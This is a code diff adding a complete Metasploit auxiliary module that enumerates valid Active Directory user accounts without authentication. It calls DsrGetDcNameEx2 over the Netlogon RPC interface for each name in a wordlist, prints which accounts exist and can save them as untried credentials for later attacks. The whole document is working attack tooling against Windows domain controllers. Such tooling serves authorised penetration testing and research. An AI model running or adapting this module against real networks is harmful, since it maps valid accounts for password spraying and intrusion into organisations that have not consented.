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| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Auxiliary::Report |
| 8 | + include Msf::Auxiliary::Scanner |
| 9 | + include Msf::Exploit::Remote::DCERPC |
| 10 | + Netlogon = RubySMB::Dcerpc::Netlogon |
| 11 | + @dport = nil |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'MS-NRPC Domain Users Enumeration', |
| 18 | + 'Description' => %q{ |
| 19 | + This module will enumerate valid Domain Users via no authentication against MS-NRPC interface. |
| 20 | + It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with |
| 21 | + Windows servers 2012, 2016, 2019 and 2022. |
| 22 | + }, |
| 23 | + 'Author' => [ |
| 24 | + 'Haidar Kabibo <https://x.com/haider_kabibo>' |
| 25 | + ], |
| 26 | + 'References' => [ |
| 27 | + ['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf'] |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Notes' => { |
| 31 | + 'Stability' => [CRASH_SAFE], |
| 32 | + 'Reliability' => [], |
| 33 | + 'SideEffects' => [] |
| 34 | + } |
| 35 | + ) |
| 36 | + ) |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptPort.new('RPORT', [false, 'The netlogon RPC port']), |
| 40 | + OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']), |
| 41 | + OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ]) |
| 42 | + ] |
| 43 | + ) |
| 44 | + end |
| 45 | + |
| 46 | + def bind_to_netlogon_service |
| 47 | + @dport = datastore['RPORT'] |
| 48 | + if @dport.nil? || @dport == 0 |
| 49 | + @dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp') |
| 50 | + fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport |
| 51 | + end |
| 52 | + handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport]) |
| 53 | + print_status("Binding to #{handle}...") |
| 54 | + dcerpc_bind(handle) |
| 55 | + end |
| 56 | + |
| 57 | + def dsr_get_dc_name_ex2(username) |
| 58 | + request = Netlogon.const_get('DsrGetDcNameEx2Request').new( |
| 59 | + computer_name: nil, |
| 60 | + account_name: username, |
| 61 | + allowable_account_control_bits: 0x200, |
| 62 | + domain_name: nil, |
| 63 | + domain_guid: nil, |
| 64 | + site_name: nil, |
| 65 | + flags: 0x00000000 |
| 66 | + ) |
| 67 | + begin |
| 68 | + raw_response = dcerpc.call(request.opnum, request.to_binary_s) |
| 69 | + rescue Rex::Proto::DCERPC::Exceptions::Fault |
| 70 | + fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}") |
| 71 | + end |
| 72 | + Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response) |
| 73 | + end |
| 74 | + |
| 75 | + def report_username(domain, username) |
| 76 | + service_data = { |
| 77 | + address: datastore['RHOST'], |
| 78 | + port: @dport, |
| 79 | + service_name: 'netlogon', |
| 80 | + protocol: 'tcp', |
| 81 | + workspace_id: myworkspace_id |
| 82 | + } |
| 83 | + |
| 84 | + credential_data = { |
| 85 | + origin_type: :service, |
| 86 | + module_fullname: fullname, |
| 87 | + username: username, |
| 88 | + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, |
| 89 | + realm_value: domain |
| 90 | + }.merge(service_data) |
| 91 | + |
| 92 | + login_data = { |
| 93 | + core: create_credential(credential_data), |
| 94 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 95 | + }.merge(service_data) |
| 96 | + |
| 97 | + create_credential_login(login_data) |
| 98 | + end |
| 99 | + |
| 100 | + def run_host(_ip) |
| 101 | + usernames = load_usernames(datastore['USER_FILE']) |
| 102 | + bind_to_netlogon_service |
| 103 | + |
| 104 | + usernames.each do |username| |
| 105 | + enumerate_user(username) |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + private |
| 110 | + |
| 111 | + def load_usernames(file_path) |
| 112 | + unless ::File.exist?(file_path) |
| 113 | + fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist') |
| 114 | + end |
| 115 | + |
| 116 | + usernames = [] |
| 117 | + ::File.foreach(file_path) do |line| |
| 118 | + usernames << line.strip |
| 119 | + end |
| 120 | + usernames |
| 121 | + end |
| 122 | + |
| 123 | + def enumerate_user(username) |
| 124 | + response = dsr_get_dc_name_ex2(username) |
| 125 | + if response.error_status == 0 |
| 126 | + print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}") |
| 127 | + if datastore['DB_ALL_USERS'] |
| 128 | + report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username) |
| 129 | + end |
| 130 | + else |
| 131 | + print_error("#{username} does not exist") |
| 132 | + end |
| 133 | + end |
| 134 | +end |
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